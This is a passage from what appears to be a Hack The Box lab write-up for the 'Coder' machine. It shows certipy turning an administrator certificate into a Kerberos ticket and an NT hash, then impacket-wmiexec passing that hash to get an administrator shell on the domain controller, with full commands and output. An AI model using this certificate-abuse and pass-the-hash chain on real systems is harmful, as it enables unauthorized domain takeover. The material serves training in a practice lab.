2023-04-11 21:35:12.556464 (-0400) +28343.735913 +/- 0.018316 coder.htb 10.129.229.10 s1 no-leap
CLOCK: time stepped by 28343.735913

Then, quickly send that old command again:

└─$ certipy auth -pfx administrator_dc01.pfx -dc-ip 10.129.229.10
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'administrator@coder.htb'
    [1] DNS Host Name: 'dc01.coder.htb'
> 0
[*] Using principal: administrator@coder.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@coder.htb': aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7

Nice, we won’t be able to use evil-winrm to get in because the administrator isn’t in that group, but we can use wmiexec instead:

└─$ impacket-wmiexec coder.htb/administrator@dc01.coder.htb -hashes aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
coder\administrator

Related

Escape - HTB
·15 mins
htb
We begin with a port scan: └─$ sudo nmap -sV -Pn 10.129.25.141 Starting Nmap 7.
Investigation - HTB
·8 mins
htb
We can begin with an nmap scan: └─$ nmap -sC -sV 10.129.9.176 Starting Nmap 7.